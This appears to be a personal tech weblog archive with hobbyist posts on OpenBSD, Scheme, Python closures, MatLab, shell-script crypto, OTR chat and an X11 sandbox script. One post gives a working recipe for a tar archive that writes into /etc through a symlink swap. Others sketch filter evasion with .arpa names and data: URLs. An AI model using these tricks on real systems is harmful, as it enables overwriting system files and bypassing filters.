The Shœstring Foundation Weblog
   


About
The Shœstring Foundation Weblog, Miscellaneous Byproducts

Matthias Bauer
bauerm (at) shoestringfoundation · org

Subscribe
Subscribe to a syndicated feed of my weblog, brought to you by the wonders of RSS.


Blosxom Logo

       
Tue, 03 Dec 2013

simple terminal


The simple terminal by the laudable suckless.org persons lacks xterm's Tektronix 4014 emulation and several other features of questionable utility.
The engineers war cry "Keep it simple, idiots" is more audible in st's implementation, less than 4 kLOC, and anti-aliased fonts all the same (by use of libfontconfig).

I prefer the following configuration in config.h

static char font[] = "Inconsolata:pixelsize=16:hinting=true:dpi=72:"
                     "rgba=vrgb:antialias=true:autohint=true";
with Raph Levien's Inconsolata in sub-pixel rendering.

[/projects] permanent link

Mon, 29 Jul 2013

Privacy, who needs it?


At a talk given at the TU Munich, somebody asked Jacob Appelbaum why he (the questioning party) should care about privacy at all. I routinely ticked off a list of possible answers, but Jacob had a new one (to me): (quoted from memory)

So you're doing nothing illegal, why should you worry about privacy?

Well, in the late 40ies there were people who were thinking about the possibility of changing the political landscape of the US. They visited lectures, read papers and pamphlets etc, everything totally legal. Yet a few years later they were accused of being communists and were fired. Because they did something totally acceptable a few years earlier.

In the 90ies there were Muslim families in the US who followed the custom of donating to foreign aid organisations. A few years later those organisations were decreed to be aiding terrorists and therefore everybody giving them money in the past is now a criminal. Because they did something totally acceptable a few years earlier.

And who knows what totally acceptable deed now will be illegal post hoc tomorrow. The accumulated history of past behaviour can be used anytime in the future to discredit or accuse. And the accusing party can filter the data for damning evidence, whereas the accused has no access to the data to find exonerating evidence in it.

So history teaches us that everybody should have very strong objections against a secret store of every word they ever muttered online.

In Germany, it is a felony to be member of a criminal organisation. That an existing organisation has criminal purposes can only be decided after somebody joined it. So this definition of a criminal act by being a member of some organisation implies the post hoc for at least some members.

[/projects] permanent link

Wed, 17 Jul 2013

Off-the-Record Internet Relay Chat


As everybody but the worst conspiracy theorist knows, everything sent over the Internet is recorded and can be used against us (the buzzing noise you're hearing is an armed drone circling the building).

Encrypting e.g. Internet Relay Chat a la PGP would protect the message on the wire from eavesdropping. But if the message is recorded (which it is), then a compromise of the involved secret keys would allow decryption at a later date. And since thorough inspection of laptops at airports is routine, we can assume that keys do get compromised now and then. With classical public key crypto, the potentially incriminating content is also digitally signed, so it can be used as a strong evidence against the utterer.

Can we make conversations on the Internet more like private conversations, which are not normally recorded and where utterances are not signed? This was answered to the affirmative in Borisov, Goldberg and Brewer's paper Off-the-Record Communication . And there's an implementation.

A working constellation for OTR conversation on IRC consists of

  1. a pure Python implementation of OTR in the module python-potr
  2. weechat IRC client
  3. Python plugin for weechat
  4. script otr.py which adds a /OTR command to the standard IRC commands, to initiate OTR conversations etc.
There're other clients supporting OTR, e.g pidgin and irssi as packaged for various linux distributions.

For private conversations on IRC I would strongly suggest using OTR.

[/projects] permanent link

Mon, 15 Jul 2013

No Let-over-Lambda in Python 2 :(


Standard idiom in LISP (or in this case, Scheme), Let over Lambda (also the title of an impressive book on LISP macros by Doug Hoyte):

(define (mkcounter) 
	(let ((n 0)) 
		(lambda () (begin 
			(set! n (+ 1 n))
			n))))
What does it do? It returns a function that returns 1, 2, 3, ... when called repeatedly. It's a way of keeping state in a world of functions. Don't confuse it with C's static Variables inside functions. mkcounter constructs a new counter object for each invocation, so
(define c1 (mkcounter))
(define c2 (mkcounter))
(c1) (c1) (c1) (c2)
(print (c1))
(print (c2))
would print 4 2.

An attempt to reconstruct this in Python 2.x:

def mkcounter():
        n = 0
        def _inner_():
                n = n+1
                return n
        return _inner_
c1=mkcounter()
print c1()
fails with UnboundLocalError: local variable 'n' referenced before assignment, which is somewhat confusing, since n is visible in _inner_ if the n = n+1 line is removed.
The impossibility of LoL in Python has been pointed out in PEP-3104 but was only fixed in Python 3. In Python 3 it's possible to reconstruct LoL by the dubiously named nonlocal directive:
def mkcounter():
    n = 0
    def _inner_():
            nonlocal n
            n = n + 1
            return n
    return _inner_

c1=mkcounter()
print(c1())

[/projects] permanent link

Tue, 14 May 2013

Endoscreen Cut&Paster


emacs has the fabulous SLIME mode which turns emacs into a LISPmachine, with interactive inspection and whatnot. It talks over TCP to a LISP REPL wrapped in SWANK, executing a huge palette of commands to debug and trace code, as well as the more-or-less trivial evaluation of code snippet from emacs buffers.

As a very weak approximation in vim there's jpalardy's vim-slime which uses screen to paste stuff from vim into a screen window presumably running a REPL. The implementation is totally vim specific.

If the action is just to paste stuff into another window using screen's own -X option then it should be doable with a shellscript. So here are swan and slim.

swan
starts the Chicken Scheme REPL and injects the window's identifier into screen's environment.
slim
pastes its stdin into the REPL window.
Combined with good-old vi's map keybinding command this is just as powerful as vim-slime but more flexible.

My .exrc now contains the line

:map C !%slim^M
which pastes text between matching parens into the REPL.

[/projects] permanent link

Fri, 03 May 2013

Tatooing the laptop


The friendly folks at the fablab helped me to get Puffy on the Thinkpad.

[/projects] permanent link

Thu, 04 Apr 2013

Jigsaw Puzzle Generator


The local Fablab has a laser cutter. What would be more natural than to use it to produce jigsaw puzzles?
The snag is: How get the patterns to saw as SVG graphics.
The answer: create an archetypical interlocking border of a jigsaw puzzle piece as SVG path and randomly transform it for every connection in a n times m grid.
Implemented in Chicken Scheme.

[/projects] permanent link

Mon, 11 Mar 2013

Memoizing Functions in MatLab


Three less known features of MatLab allow for memoizing functions:
  • nested functions
  • property lists on Variables
  • function handles
Code:
function mf = memoize(f)
    % Returns the memoized version of function f.
    % f must have exactly one numerical argument.
    % The memoized version cannot be called without an argument.
    % Memoizing functions of continous ranges 
	% may not be as useful as imagined...
    
    h = []; % our pseudo hashtable by abuse of the property list.
            % MatLab creates this fresh for every call of memoize
            % and retains it for the lifetime of the memoized function

    function r = ff(x)
	
	        % matlab allows only "MatLab words" as keys
            xstr= ['m', num2str(x)];
            if isfield(h, xstr)
                   r=h.(xstr);
            else
                   h.(xstr) = f(x);
                   r = h.(xstr);
            end
    end

    mf = @ff;
end
Test with e.g.
function o = foo(x)
	pause on
	pause 5
	o = x*x
end
Call 
mfoo = memoize(@foo); 
foo(4)
foo(4)
mfoo(4)
mfoo(4)

[/projects] permanent link

Thu, 24 May 2012

On ObjectOrientation


Recently I stumbled over Steve Yegge's essay “Execution in the Kingdom of Nouns ” which reflects on the linguistic styles of programming philosophies. Really something to think about. The points stated in the essay are quite observable in code that comes my way.

One nicely wrought wreath from the many flowers out of the Garden of Object Oriented Design Patterns is the following:

For the lack of a nail,
    throw new HorseshoeNailNotFoundException("no nails!");

For the lack of a horseshoe,
    EquestrianDoctor.getLocalInstance().getHorseDispatcher().shoot();

For the lack of a horse,
    RidersGuild.getRiderNotificationSubscriberList().getBroadcaster().run(
      new BroadcastMessage(StableFactory.getNullHorseInstance()));

For the lack of a rider,
    MessageDeliverySubsystem.getLogger().logDeliveryFailure(
      MessageFactory.getAbstractMessageInstance(
        new MessageMedium(MessageType.VERBAL),
        new MessageTransport(MessageTransportType.MOUNTED_RIDER),
        new MessageSessionDestination(BattleManager.getRoutingInfo(
                                        BattleLocation.NEAREST))),
      MessageFailureReasonCode.UNKNOWN_RIDER_FAILURE);

For the lack of a message,
    ((BattleNotificationSender)
      BattleResourceMediator.getMediatorInstance().getResource(
        BattleParticipant.PROXY_PARTICIPANT,
        BattleResource.BATTLE_NOTIFICATION_SENDER)).sendNotification(
          ((BattleNotificationBuilder)
            (BattleResourceMediator.getMediatorInstance().getResource(
            BattleOrganizer.getBattleParticipant(Battle.Participant.GOOD_GUYS),
            BattleResource.BATTLE_NOTIFICATION_BUILDER))).buildNotification(
              BattleOrganizer.getBattleState(BattleResult.BATTLE_LOST),
              BattleManager.getChainOfCommand().getCommandChainNotifier()));

For the lack of a battle,
    try {
        synchronized(BattleInformationRouterLock.getLockInstance()) {
          BattleInformationRouterLock.getLockInstance().wait();
        }
    } catch (InterruptedException ix) {
      if (BattleSessionManager.getBattleStatus(
           BattleResource.getLocalizedBattleResource(Locale.getDefault()),
           BattleContext.createContext(
             Kingdom.getMasterBattleCoordinatorInstance(
               new TweedleBeetlePuddlePaddleBattle()).populate(
                 RegionManager.getArmpitProvince(Armpit.LEFTMOST)))) ==
          BattleStatus.LOST) {
        if (LOGGER.isLoggable(Level.TOTALLY_SCREWED)) {
          LOGGER.logScrewage(BattleLogger.createBattleLogMessage(
            BattleStatusFormatter.format(BattleStatus.LOST_WAR,
                                         Locale.getDefault())));
        }
      }
    }

For the lack of a war,
    new ServiceExecutionJoinPoint(
      DistributedQueryAnalyzer.forwardQueryResult(
        NotificationSchemaManager.getAbstractSchemaMapper(
          new PublishSubscribeNotificationSchema()).getSchemaProxy().
            executePublishSubscribeQueryPlan(
              NotificationSchema.ALERT,
              new NotificationSchemaPriority(SchemaPriority.MAX_PRIORITY),
              new PublisherMessage(MessageFactory.getAbstractMessage(
                MessageType.WRITTEN,
                new MessageTransport(MessageTransportType.WOUNDED_SURVIVOR),
                new MessageSessionDestination(
                  DestinationManager.getNullDestinationForQueryPlan()))),
              DistributedWarMachine.getPartyRoleManager().getRegisteredParties(
                PartyRoleManager.PARTY_KING ||
                PartyRoleManager.PARTY_GENERAL ||
                PartyRoleManager.PARTY_AMBASSADOR)).getQueryResult(),
        PriorityMessageDispatcher.getPriorityDispatchInstance())).
      waitForService();

[/projects] permanent link

Thu, 08 Mar 2012

Dissonance in b-Smooth


Inspired by Adi Shamir's TWINKLE optical device for finding smooth numbers, which works at GHz, I wrote an audio device for finding smooth numbers, which works at low kHz. In absence of a good, screeching acronym, I'd call it Dysphony in b-Smooth.

The idea is to convert the smaller prime factors of numbers into sound. The code does this by keeping n counters, each of which is increased modulo its individual prime. At the moment, these are the first 1000 primes. After every increment the counters that contain a zero are collected and a sine wave is constructed from the associated frequencies (index*(2000/n) + 40 Hz) at an amplitude proportional to the logarithm of the prime (so that the frequent divisors 2,3,5,etc have a low impact). Each sound lasts a small fraction of a second. If a loud noise is audible, it is the representation of a number with many different and/or larger prime factors.

The scientific value of this is approaching zero from the left, but it was a nice exercise to have the computer produce sound after my last attempts in 1987 on an Atari ST.

[/projects] permanent link

Thu, 12 Jan 2012

Impressive hack


In the good old days, when NTK was still around, I always envied the British for their absolutely superior hacker conferences.
To give an example, a talk by James Larsson on NotCon'04 explains how to measure time with a BBC Micro and a Marks&Spencer Prawn Sandwich. It's in the first ten minutes of this stream (local copy).

[/projects] permanent link

Tue, 04 Oct 2011

Transferring files over the net with OpenBSD's bsd.rd


OpenBSD's installation ramdisk does not contain useful tools to quickly transfer files from a remote machine. Specially the absence of netcat is painfully felt. The typical routine to transfer a set of files from Host A to the Host-to-be-installed B would normally be
A% tar cf - dir1 dir2 | nc -l 1234
B% nc hostA 1234 | tar xpf -
To transfer whole partitions, it would be
A% dump -a0f - /dev/sd0a | nc -l 1234
B% newfs /dev/rsd0a && mount /dev/sd0a /mnt && \
    nc hostA 1234 | (cd /mnt; restore -r -f -)
What is included in the ramdisk, is OpenBSD's FTP client, ftp, which implements a subset of HTTP. So the above procedure becomes:
A% (echo -e "HTTP/1.1 200 OK\n"; sudo dump -0af - /dev/wd0g) | nc -l 1234
B% ftp -o /dev/stdout http://hostA:1234/ | restore -r -f -
(Of course one could also set up a whole ftp or http server and put the dumpfiles there, but oneliners are the essence of doability in *NIX)

[/projects] permanent link

Fri, 15 Apr 2011

PostScript Punchcards


punch.ps reads a file from stdin and produces the IBM punchcards representing the lines (which should be shorter than 80 chars). Invoke with
gs punch.ps < yourfile
for flip-book mode, or
gs -sDEVICE=pdfwrite -sOutputFile=cardstack punch.ps < yourfile
for a stack of all the cards.
This program combines well with a computer-driven laser cutter...

[/projects] permanent link

Tue, 28 Dec 2010

Quine in dc


Perhaps the first quine to be written in dc.
[91PlqP93P[dsqx]P10P]dsqx
To test run
echo '[91PlqP93P[dsqx]P10P]dsqx' | dc

UPDATE: This made it to Reddit. And it can be shortened to 17 characters...

[/projects] permanent link

Mon, 06 Sep 2010

A .tgz that bytes


The following creates a tar file that writes stuff (/etc/yourpasswd in this case) outside the directory where it is extracted:
touch foo.c bar.c Makefile
ln -s /etc info                      # tar can do symbolic links
tar cf src.tar *.c Makefile info
rm info
mkdir info
touch info/yourpasswd                # where does this extract?
tar rf src.tar info/yourpasswd       # tar can extend archives
gzip -9 src.tar
This of course only works when tar zxf is run as root, but that is not unheard of, right?

[/projects] permanent link

Wed, 11 Aug 2010

non-PTRs in .arpa


Few people but nameserver admins know the .arpa toplevel domain. It has an hierarchical scheme with zones just as all other TLDs.

It's main use is to reverse map addresses. For an IP address like

111.22.3.4
this is done by requesting the PTR record for the hostname
4.3.22.111.in-addr.arpa
The DNS server for in-addr.arpa delegates the request to the server responsible for 111.in-addr.arpa and so recursively until a server is found who is responsible for the whole network containing the address. The reply typically is a hostname.

For IPv6 the domain is ip6.arpa and the encoding for e.g.

2001:780:3:170::2
is
2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.1.0.3.0.0.0.0.8.7.0.1.0.0.2.ip6.arpa

But there is no technical barrier against requesting other record types from under the .arpa tree. The DNS servers happily return A, AAAA, CNAME, DNAME or other records when asked nicely.

And nothing prevents an DNS admin from placing non-PTR records in the .arpa subzone. And nothing prevents them from prefixing arbitrary strings in front of the IPv6 subnet. And of course those .arpa names can be used just like hostnames...

For example, a valid URL for this blog could be this or that or even thiß.

Perhaps URL-based filtering can be subverted this way.

[/projects] permanent link

Fri, 06 Aug 2010

See Postfix run on ZFS


postfix compiles on OpenSolaris
postfix runs
postfix tries to accept email
postfix uses statvfs to enquire free space on /var/spool
/var/spool is on ZFS with > 2TB free space
statvfs dies (EOVERFLOW)
postfix dies
poor email

UPDATE: small patch fixes this, assuming that an FS with more than ULONG_MAX/2 free blocks has — for all purposes of postfix — exactly ULONG_MAX/2 free blocks.

[/projects] permanent link

Sat, 27 Feb 2010

OpenBSD on Loongson


Miod Vallat ported OpenBSD to the chinese MIPS64 remake Loongson 2F, so I wiped the bloated Linux installation from my Yeeloong.
On the Pros side, OpenBSD on Loongson works out of the install, with X11 and everything running.
On the Cons side, there seems to be a serious flaw in fundamental stuff that stops Python from building and introduces bugs in libgmp. And without Python no mercurial and therefore no happiness yet.
UPDATE: The python build issue is fixed in -current. Mercurial works on the yeeloong!

[/projects] permanent link

Thu, 11 Feb 2010

Alan Kay on Creativity


From an interview with the ACM Queue:
All creativity is an extended form of a joke. Most creativity is a transition from one context into another where things are more surprising. There's an element of surprise, and especially in science, there is often laughter that goes along with the ”Aha“. Art also has this element. Our job is to remind us that there are more contexts than the one that we're in --- the one that we think is reality.

[/projects] permanent link

Tue, 26 Jan 2010

Back to the √s


The Curta II machine The Curta is a mechanical computing device, about 12.5 cm high, 8 cm in diameter, with 49 bits internal precision.
I'm totally in awe about the elegance of the design and the smooth handling. Trying to actually compute something, e.g. a square root, on this machine, immediately makes one aware of the roots (sic!) of numerical mathematics. There simply is no button marked √ on the Curta, and still people used this very machine to compute square roots (and logs, and trigonometric functions, ...). Until the 1980ies most scientists knew how to efficiently compute everything on such add/substract machines, and this knowledge is now buried without a tombstone.

[/projects] permanent link

Tue, 31 Mar 2009

Drawterm port for OpenBSD


Russ Cox's drawterm is a terminal program to connect to a Plan9 CPU server from Unix.
This is a port for OpenBSD (i386, amd64, sgi and sparc64).

Plan9 normally provides a graphical user interface instead of just a Command Line Interface on login, and so does drawterm. In Plan9 terms, it exports a part of the Unix box's drawing device, the keyboard and the mouse to the CPU server and the programs started there more or less directly draw on the window. No need for X-Forwardings and the like. In addition it exports the user's $home directory to the CPU server as /mnt/term, so that the usual routine of

host1$ ssh host2
host2$ <do something>
...
host2$ exit
host1$ scp host2:~/some/where/file .
host1$ scp ~/stuff.c host2:~/src/.
host1$ ssh host2
host2$ <do stuff>
becomes:
unix$ drawterm -a authsrv -c cpusrv
...    <open shell windows, start editor, ...>
plan9$ cp $home/some/where/file /mnt/term/.
plan9$ cp /mnt/term/stuff.c $home/src/.
plan9$ <do stuff>

[/projects] permanent link

Tue, 03 Mar 2009

Red Tape Origami


Another case of sufficiently inappropriate technology being indistinguishable from magic:

RC4 in XSLT

This turned out to be much harder than RC4 in a shell skript.

Findings

XSLT relates to general purpose programming as Cholera relates to dinner invitations.

Variables in XSLT aren't, and there's no imperative iterative statement, so state must be kept on stack and recursion is the only way of iteration. Combined with the fact that most XSLT compilers that we tried do not utilize tail recursion, this quickly leads to stack overflows even for small inputs.
Thanks to Meredith L. Patterson for cool tricks to save space on stacks

Typing is non-existant, strings are cast to integers, whole XML subtrees to strings and so on.

The XPath query language can be used to select elements or subtrees of XML documents. Subtrees resulting from such selections can be assigned to variables and passed as such to functions (templates in XSLT-speak) but their elements cannot be accessed by XPath any more.

Although XSLT abhors brakets, ampersands and double quotes, it is possible to clobber together arbitrary strings. But it not possible to output them in HTML format contexts, so it is necessary to hark back to hacks including iframes with data: url hrefs.

[/projects] permanent link

Wed, 21 Jan 2009

Time based views (another 12 Liter challenge)


Jun Rekimoto's Time-Machine Computing is a neat idea for representing large (probably not huge) amounts of personal documents/images/other data in their chronological context.

It assumes that people have no problem remembering their actions if given hints to what other actions they performed around the same time.
So instead of organising saved/created files by a rigorous system of hierarchical sub-directories and names, one would use on the creation or modification times and the good old neural network.

Rekimoto developed a Java-based desktop environment based on this idea.
A more practical approach IMHO would be to enhance one the many open source file managers by a slide bar that allows to scroll backwards in time through the directory. I.e. when activated, the position of the knob presents a point in the past, the leftmost position representing the creation of the oldest file in the displayed directories. At each position, the only files shown would be the ones created at or around the date represented by the position. All other files should be faded from view.

Another way of implementing a time view would be to center on a selected, presumably well-remembered file and fade out all others, the shading depending on the chronological distance from the selected file. I.e. when you click on a file, you would clearly see the files that you created shorly before/after the selected one, with earlier/later one fading out progressively.

And again there's 24 bottles of beer waiting for the brave implementor …

[/projects] permanent link

Fri, 05 Dec 2008

Naming again


Update of the naming-on-the-internet "bibliography": Fixed broken links, pulled local copies, added a few, removed a dead IEFT working group.

[/projects] permanent link

Thu, 03 Jul 2008

24 bottles of beer... UPDATE


I offer 12 Liters of top-quality Franconian beer (Leutenbacher Drummer-Bräu) for fixes of each of the following:
  • plan9ports: provide a libthread for OpenBSD-amd64.
  • OpenBSD: vi: make 'vi -r' work after a power failure.
  • OpenBSD: i386: make SMP work on IBM ThinkPad X60.
    UPDATE works now as of 4.2-stable
  • OpenBSD: Software Suspend ala swsusp to get around all that silly ACPI stuff.
  • OpenBSD: AMD64: Enable a MAXDSIZE of greater than 1 Gb.
    UPDATE it's now 8 Gb in OpenBSD 4.4-beta
  • OpenBSD: VAX: ELF with dynamically loadable objects.
  • OpenBSD: all: port Ai's setmacaddr patch to 3.6.
    UPDATE The 12 l for this have been (successfully) claimed by Christian Kellermann with his patch to current.
    UPDATE The OpenBSD team added the feature to the source (by a different patch, prs 2117 and 2118).
  • libGMP: Support AMD64 with true 64bit arithmetics.
  • GnuPG: all hash implementations in cipher/ have a function {md,md5,rmd160,sha1,sha256,sha512}_write. The implementation is quite obfuscated with a totally unnecessary level of recursion with several terminating conditions. Replace these _write functions by something more readable. UPDATE The terrible code is by Ulrich Drepper, not gnupg's author Werner Koch.
  • GnuPG: add functionality for signing arbitrary PKTs, thus allowing signatures on signatures.
  • libnet: functions for construction of arbitrary chains of all possible IPv6 headers.
Mail your patch and we'll organize the delivery.

[/projects] permanent link

Fri, 18 Jan 2008

PPPoE v6-only on OpenBSD


Just sent the first few thousand packets over an IPv6-only PPPoE uplink provided by rh-tec.
Config on OpenBSD with bge0 as the physical interface connected to the DSL modem:
ifconfig pppoe0 pppoedev bge0 authproto pap peerproto pap \
  authname 'thename' authkey 'secret' up
After a few seconds, pppoe0 receives a Router Advertisement and gets it's prefix. The rest is plain sailing (ssh -6 and so on).

[/projects] permanent link

Tue, 15 Jan 2008

What is a random sequence?


In Cryptography papers there are lots of statements like
Alice choses a random number k
or
Bob choses a random element of F_p
Can one recognize a number or a sequence of numbers as random?
Which of the following sequences is random:
00000000000000000000000
01101010000010011110011
11011110011101011111011
Answer: all of them are equally likely outcomes of 23 coin-flips.
Sérgio B. Volchan tells the history of the concept of randomness in mathematics in an article for the American Mathematical Monthly. It is quite fascinating IMHO how seemingly resonable definitions of randomness were put forward and shot down later to be replaced with the next definition. The most recent definitions preclude meaningful checks for randomness by examining finite parts of a sequence, so the conundrum remains: Is 7 a random number?

[/projects] permanent link

That's how to write manuals


The Jupiter ACE was a home computer produced in the UK in the 80ies. It had a FORTH interpreter instead the usual BASIC of the C64, BBC micro, etc.
Their Manual explains the inner workings of the machine in an accessable way. Compare that to the thousands of VBA books that keep the reader totally in the dark what goes on behind the funny icons.

[/projects] permanent link

Surprising results with IPv6


Spamfilters add complexity, which in turn makes v6 transition harder.
Setup:
Host A (running OpenBSD) has dual stack v4/v6 with routable v4 address
Host B (running Plan9) has dual stack v4/v6 with a subnet-local v4 address
Both machines have a routeable v6 address and run an MTA.
So I assumed that it should be possible to send mail from A to B. Turns out to be not that simple. The Plan9's MTA uses various heuristics to find out if incoming mail is spam (as do other MTAs). One of the checks is to connect to the MTA listed in the MX record for the sender's address' domain. Host A's MX record is v4-only, so B cannot connect to the MTA, so it rejects the mail. Not only the sender and the receiver have to be v6-enabled, but also the sender's MX (and probably the blacklist providers, etc).

[/projects] permanent link

Sun, 31 Dec 2006

Pretty Slow Privacy


RSA + OAEP + RC4 = PSP
PGP on the cheap, implemented in a bunch of shell scripts.
All crypto in dc(1), nice redirects in/from FIFOs. Download the files (.tar.gz) now! (Tested on OpenBSD, GNU sed manpage:
“POSIX.2 BREs SHOULD be supported”
But they aren't)
UPDATE Pull the sources again, fixed some bugs. Thanks to Michael Gernoth.

[/projects] permanent link

Sat, 14 Oct 2006

Poor Man's PGP Part 1: RC4 in a shell skript


With a shell account on an arbitrary POSIX semi-compliant system, one should have access to a Bourne-like Shell, awk, dc, sed and companions. Given a source of randomness this should be sufficient to code RSA + a symmetric cipher, kind of extremely poor man's PGP.

I had some problems finding ways to output binary stuff from ksh.
UPDATE: New version seems to work with bash.

Here is the first step towards it, RC4 in a shell skript. As expected, it's slow as mouldy molasses but it works and passes a test against OpenSSL's test vectors.

On Intel at 1.6 Ghz it encrypts/decrypts at 184 Bytes per second. One optimization could be to put the keystream generation entirely in a dc script, start that in a sub-process, and read single bytes from a fifo.
UPDATE: New version does this, 370 Bytes/sec now.

[/projects] permanent link

Wed, 05 Apr 2006

Ken Thompson's other C compiler


Ken Thompson of Unix and C fame wrote a C compiler for Plan9 and Inferno. There are interested parties for porting this very small compiler to unices. I started from the sources available a few years ago from Vitanouva and Markus Friedl's patches to make them compile on OpenBSD. Up to now I incorporated many of the changes leading up to the newer sources available now. The mercurial repo is at http://saeftl.franken.de:8888/ It compiles on OpenBSD, but the compilers (for many architectures) produce output in Plan9/Inferno binary format, which does not run on BSD at all. Many more changes needed.
UPDATE tarfile here

[/projects] permanent link

Tue, 31 Jan 2006

Web of Trust Betweenness Centrality Stats UPDATE


New Betweenness Centrality Stats available. Lots of changes in the ranking. New shooting star is the CaCert pubkey.

Key creation time and sigs from forgotten keys influences the ranking

All norms on key graphs have to deal with time somehow. This is because keys are created over time, revoked, they expire, their passphrases are forgotten … Signatures expire, point to revoked keys … In the BC norm, this has a side-effect on newer keys: since newer keys will never get signatures from revoked or unused keys, they are at a serious disadvantage (sorry, weasel :-)). If there are n keys in the component, and only one has a link to/from an old key, then it's BC will increase by n-2 (because n-2 shortest paths lead through it to the forgotten key). At the moment I see no way of repairing this.

Description of the technique is in another post.

This and previous results are at http://pestilenz.org/~bauerm/wotstats.html .

[/projects] permanent link

Mon, 23 Jan 2006

Stress-testing mmap on OpenBSD


mmap(2) maps a file to a range of memory and gives the calling process a void* to manipulate the contents of the file. If no file descriptor is given, it creates an “anonymous” memory range. In both cases, the memory range can be used for inter-process communication. As an additional feature, the caller can specify how child processes see the memory. If MAP_INHERIT is set, the children see the same as the parent. If additionally (or more precisely OR-ally) MAP_PRIVATE is set, modifications (i.e. writes) by the parent are invisible to the children. If MAP_SHARE is set, the children see the bytes written by the parent. The minherit(2) syscall allows setting these bits for arbitrary pages.

Now, what would be the most stressing situation for the kernel? Overlapping memory ranges with different copy/share policies for several generations of processes. This program does exactly that. It subdivides the same piece of memory recursively, and each child sets another inheritance policy on top of the set ones of the stack of parents.

Usage: stress.mmap [-f file] [-m size] [-r level] [-n num]

-f <file>       use <file> to mmap on
-m <size>       size of mmaped area in bytes
-r <level>      the number of recursions
-n <num>        number of byteblocks to touch in each incarnation

TODO: let each child mmap the same file to another location, with different policies…

[/projects] permanent link

Wed, 16 Nov 2005

Xsandbox


It is hard to confine untrusted software to just the stuff it is supposed to do. Server processes can be run as unprivileged users, chrooted or jailed in their own namespaces. If the software has to display something on the user's X11 however, different measures have to be taken.

One approach is to run the program under surveillance of systrace. This is good, but the code must have access to the X server and could try to grab/inject XEvents.

The following script (download) opens a nested X server (Xnest) and starts an xterm on it, running as another user. Starting from there, the user at the display can start a window manager and the suspicious software itself.

The programs inside the nested X cannot access the surrounding X display. With restrictive file permission on the regular user's homedir and standard precautions about the other user's account, this could protect against a few attacks.


#!/bin/sh
#
# xsandbox username
#
# Start a nested XServer on display :1 and
# start processes in that Server as
# another user. Aim is to avoid grabbing
# of XEvents by untrusted programs which
# can be restricted to the nested display
#
# Requires sudo

function die {
	echo $1
	exit 1
}

user=$1
devrandom=/dev/arandom	# Replace with your favourite PRNG if necessary

if [ -z $user ]; then
	die "Please give a username"
fi

umask 0022

# Make two xauthority files, one for the user starting
# the script, the other as $user who will run inside the
# display.
xauth_you=`mktemp "/tmp/xauth.you.XXX"` || die "could not mktemp"
xauth_other=`sudo -u $user mktemp "/tmp/xauth.$user.XXX"` || \
	die "could not mktemp as $user"
x1=`dd if=$devrandom bs=32 count=1 2>/dev/null | sha1`
x2=`dd if=$devrandom bs=32 count=1 2>/dev/null | sha1`
cookie=`echo $x1$x2|cut -c-64`

# Clean up when finished
trap 'rm -f $xauth_you; sudo -u $user rm -f $xauth_other' EXIT INT

# Create auth cookie for display :1.0
xauth -i -f $xauth_you add :1.0 . $cookie || \
	die "could not create $xauth_you"

# Transfer authority to $user
xauth -i -f $xauth_you nextract - :1.0 | \
sudo -u $user xauth -f $xauth_other nmerge -  || \
die "Could not transfer authorization to $user"

# Start Xnest
Xnest :1 -auth $xauth_you -sss 2>1 1> /dev/null & xnest_pid=$!

# Start xterm as $user inside the Xnest
sudo -u $user sh -lc "export XAUTHORITY=$xauth_other; \
	/usr/X11R6/bin/xterm -display :1.0"

# Kill the Xnest when finished
kill $xnest_pid

[/projects] permanent link

Fri, 11 Nov 2005

Unreliable Programming: a method for evading liability claims on software.


Members of the security and safety community often claim that software quality would improve if manufacturers would be held liable for damages caused by their products. The reasoning uses the negative incentive argument: “If we produce faulty software, we will lose money. Let's write correct software instead to increase shareholder value.”

Let's examine this claim more closely:
A user experienced damage from a malfunctioning program. How would she get compensation from the manufacturer? Surely not by simply calling and announcing that a crash caused X dollars of damage. Surely the vendor would claim that it was a user error …. So user and vendor will end up in court. The only proof of fault on the vendor side would be for the user to

  1. recreate the state of her machine before the crash (how??)
  2. reproduce the software error by taking actions explicitly mentioned in the software's documentation.

Now suppose that there was a magical wand for taking snapshots of computer states just before crashes. Or that the legal system would permit claims on grounds of only the second part of the proof. Then there would be a strong positive incentive to write software that fails unreproducibly: “If our software's errors cannot be demonstrated reliably in court, we will never lose money in product liability cases.”

This introduces an interesting new paradigm of programming. Methods of this school of programming could include:

Do something random
If an exception is raised which is not caused by user input, look for a random function/method which can be called in the current context and call that.
Procrastination
In multithreaded programs, if one thread runs into an error, simply put this thread to sleep and hope nobody notices it.
Decoy
Produce fake virus scanner alerts, telling the user to e.g. reboot imediately, thereby erasing the traces of the error.
Blame someone else
Inject errors in other running programs.
Example: A SEGFAULT handler looks for other programs from different vendors running on the same machine when the error occurs and forwards the signal to one of them. It then simply waits. The user might attribute the freezing of the program to the crash of the other.

Of course, really unreliable code needs randomness to select the action to take. All modern operating systems now come with random number generators which could be used for that purpose.

In machines with hardwire unique ids (UIDs), e.g. from the TPM, there is the interesting (and rewarding) possibility to tie the random behaviour to the hardware. This would allow software vendors to sell horoscopes for computers!

MSHoroscope

Tuesday, Serial numbers 0x900… to 0xA00…:
Bad day for text processing

[/projects] permanent link

Thu, 11 Aug 2005

Web of Trust Betweenness Centrality Stats UPDATE


Redesigning some of the code
  • the code walked against the direction of the links, silly me
  • pgpring cannot be relied on when parsing the keyserver dumps, so we now pull the usernames from a keyserver, ugly
  • generate only the top1000 by default. Longer rankings are no problem, mail if you want them (or run the code yourself, changing the parameter of top to some higher value first).
Description of the technique is in another post.
This and previous results are at http://pestilenz.org/~bauerm/wotstats.html .

[/projects] permanent link

Thu, 09 Jun 2005

Look in the dusty corners!


A prediction (which you can help to make self-fulfilling): we will find security holes in implementations of protocol features which are

  1. hardly ever used
  2. not really understood
  3. underspecified

Possible targets:

HTML & data: URLs
RFC 2397 defines a URL type which carries its own content. This could play havoc with HTML content filters, filtering proxies, and so-called "browser security settings". Simply base64 the exploit and put it in a <a href="data:base64...">. You can also put iframes in data: URLs, which in turn …
ICMP
After a list of devious attacks on TCP (e.g. Stefan Savage's Congestion Control Attack, Timestamp problems and ICMP based attacks), it seems as if even the basic protocols are not really well understood (or implemented). What happens in each of the thousands of TCP/IP stack implementations if they receive
  • ICMP Redirect (perhaps as part of a DDoS attack)?
  • ICMP EchoReq with a multicast source address (and they joined that group)?
IPv6 options
I looked over the basic IPv6 RFCs ( 2460, 2461, 2462, 2463) recently. Very impressive, they defined a lot of really incredible stuff. For example
  • the IPv6 Destination Options Header (RFC2460, Section 4.6) is an optional header that allows to pad datagrams with zeros. Glorio!
